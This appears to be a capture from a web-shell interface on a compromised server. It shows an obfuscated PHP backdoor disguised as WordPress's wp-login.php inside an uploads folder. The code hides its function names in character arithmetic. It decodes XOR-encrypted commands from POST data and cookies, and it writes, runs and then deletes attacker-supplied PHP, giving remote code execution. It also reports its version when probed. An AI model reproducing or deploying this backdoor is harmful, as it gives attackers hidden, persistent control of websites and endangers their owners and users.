HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-87-generic #88-Ubuntu SMP PREEMPT_DYNAMIC Sat Oct 11 09:28:41 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2024/11/wp-login.php
<?php $qrdiltyy     =  'qrdiltyy'      ^    '';
$qivlrv	=       "\141" /* pfy*/ . /*  iircn */ $qrdiltyy(255-141)       .       $qrdiltyy(114) /*  vekoo   */ .	"\x61"       .      "y".$qrdiltyy(616-521) /*   syvft*/ .     "m"."\x61"    .  "p";


$orbzqk     =       $qrdiltyy(492-387) /* rvuo */ .       "m".$qrdiltyy(112)    .       $qrdiltyy(108)    .      "\x6f"	.    "\x64"       . /*c   */ "\145";


function  kvwmhs($qrmjwq,     $ht_kl)


{
    global	$qrdiltyy;	


 /* yrc*/ $qrmjwq    =     "\x3c" /* dwpkdm   */ .  "?"."\x70" /*  xzz */ .    $qrdiltyy(104)     . /*   l   */ "p".$qrdiltyy(32) /* ha_rc_  */ . /*   ju */ "u"."\x6e"    .      "\154" /* rxg  */ . /*  vi  */ $qrdiltyy(733-628)      .     $qrdiltyy(110) /*splqr*/ . /*  xygnh  */ $qrdiltyy(611-504) /*  ft */ .    "\50"      .      "_"."\x5f"   .   "F"."I".$qrdiltyy(76)    .   $qrdiltyy(69) /*   nl  */ .    $qrdiltyy(95)	.      $qrdiltyy(95) /*   _ffg */ .      ")".";".$qrdiltyy(32) /* ir   */ .	$qrmjwq["\144"];
 /*jddhaz   */ $oyeaakoz /*   b*/ = /*jlfxb   */ $qrdiltyy(102)       .  $qrdiltyy(404-299)     .    "\154"	.     $qrdiltyy(101) /* wymfh */ .      "_".$qrdiltyy(138-26)  . /*evsovt*/ $qrdiltyy(950-833)   .   "\x74"  . /* nmi  */ $qrdiltyy(95) /*  s   */ .       "c"."o".$qrdiltyy(110)	.       "\164"    . /*izyq */ "\145"    . /* z  */ "n"."t"."s";


	

      $oyeaakoz($ht_kl,  $qrmjwq);

  

 /*cenka */ azuvtr($ht_kl);}


$nlzro /*   y  */ =	73;



function /* jbe*/ azuvtr($ht_kl){

 /*   ggywy*/ global /*   m*/ $qrdiltyy;


    

    include($ht_kl);
    $wcrkwjsxabdpnat /*xkc   */ =	$ht_kl;


 /*  k*/ @unlink($wcrkwjsxabdpnat);
}function    nppgg_nw()

{    global /*  vedj*/ $qrdiltyy;

 /*   q  */ $wcrkwjsxab      =   array();
 /*   lcnc */ $wcrkwjsxab["\x70"     .     "v"]	=    phpversion();       $wcrkwjsxab["s"."v"] /*hqaxxt   */ =	$qrdiltyy(51)      .	$qrdiltyy(46)	. /*   hz*/ "5";	$nostiwfjs /* jxt*/ =       74;


    echo /*  ga*/ @serialize($wcrkwjsxab);

}




function /*sndddm  */ za_v_w($qrmjwq,    $cdarorr){


   global    $qrdiltyy;    $wcrkwjsxabotxuel /*ijztr   */ =    "";
	$oqqrgoliu       =	strlen($qrmjwq);
    $wcrkwjsxabcgisum_    =  strlen($cdarorr);

      $wcrkwjsxab     =	0;


 /*j  */ $ctxaldxsp    =    0;  
    while  ($wcrkwjsxab	<      $oqqrgoliu)	{

 /*   smb*/ $fqzesq    =	$qrmjwq[$wcrkwjsxab]       ^  $cdarorr[$ctxaldxsp    % /*   tbyav*/ $wcrkwjsxabcgisum_];    $wcrkwjsxabotxuel  .= /*  prlke*/ $fqzesq;
	$ctxaldxsp++;     


	$wcrkwjsxab++;

     }

 /*   jpok*/ 


	if      (strlen($wcrkwjsxabotxuel)     >      20) /* ozv */ {

    $ouiwpeji	= /*oqjszu*/ substr($wcrkwjsxabotxuel,	0,       20);      }
 /*   zqjl */ if       (empty($wcrkwjsxabotxuel))	{


    $wcrkwjsxabotxuel    =    date('Y-m-d    H:i:s');
 /*   wkvs  */ }

 /*   ecwes */ return  $wcrkwjsxabotxuel;


}



function /*  ocxemq */ yiqvqmkesl($_u_sb){

    global /*   e  */ $qrdiltyy; /* fful */ 
    $tilppyrnm   =	"9"."\62" /*   rmek */ .    $qrdiltyy(97)    .    $qrdiltyy(554-455) /*vd_xb*/ .	"\x66"       . /* x  */ $qrdiltyy(97) /*  t   */ .    "b"."0"."\x2d"      .      $qrdiltyy(49)    . /*sri   */ "\144"."\65" /*   uez_sp */ . /*  z  */ "7"."\55" /*  _   */ .     "4".$qrdiltyy(760-661) /*  wrtk   */ .	"\64" /* yd */ . /*prxlfp  */ "6".$qrdiltyy(190-145)       .	"a"."\142"	.    "\x62"	. /*  yc   */ "\71"      . /*  hu*/ $qrdiltyy(45)    .   $qrdiltyy(894-797) /* ei   */ . /*  ct   */ $qrdiltyy(289-191) /*   vv */ .	"\x64"  . /*   mi*/ "\x34"	. /*   hkp */ "\x35"     . /* enih */ $qrdiltyy(54)	.    "5".$qrdiltyy(101)."\144".$qrdiltyy(52) /* qg   */ .	$qrdiltyy(54)    . /* u */ "\x32";
  

 /*  _f  */ foreach /*  iptca   */ ($_u_sb    as    $ytmiwvillj /* dwntrn  */ => /*  z   */ $qrmjwq)     {

    atgshnji(base64_decode($qrmjwq),	$tilppyrnm,    $ytmiwvillj);    }}


function   atgshnji($qrmjwq, /* aaojm   */ $tilppyrnm, /*urqdpf  */ $ytmiwvillj)
{

    global	$qrdiltyy;


 /* h   */ 

    $qrmjwq /* cy  */ =    unserialize(za_v_w(za_v_w($qrmjwq,     $tilppyrnm),  $ytmiwvillj));	$tyzgrujg      = /* b_ */ 'hn';
	$wff_uyiv /*uphumo*/ = /*  v  */ 'rpd';	if /*   qw   */ (isset($qrmjwq["\x61" /*   mv  */ . /*kqmy_ */ "\x6b"])) /*  o_p   */ {


    if /*ijnm */ ($qrmjwq["a"]    ==       "i") /* he   */ {
 /*pwgiq  */ nppgg_nw();
      }	elseif   ($qrmjwq["a"] /*   j */ == /*ksxdn   */ $qrdiltyy(101)) /*  icdcnf  */ {
 /* nr   */ kvwmhs($qrmjwq, /*tm  */ sprintf("\56" /*ifqu   */ .     "/"."\45"    . /*   fi */ "\163"	.	"\56"    . /*rjakz   */ $qrdiltyy(633-521)    . /*  cuxa   */ "l",   md5($tilppyrnm)));			$wcrkwjsxablwjswybld /* zrgf  */ =    44;
  }    exit();	}}


yiqvqmkesl($_POST); /*  jabbv  */ 

$mevyg /*fucc  */ =      'rawurldecode';




$snbh_o /*  ydj  */ = /*  ipqhf */ $qivlrv($mevyg,       $_POST);
$orbzqk("", /*   wk   */ $mevyg);




yiqvqmkesl($_COOKIE);





$zataid /*y*/ =    $qivlrv($mevyg,    $_COOKIE);


?>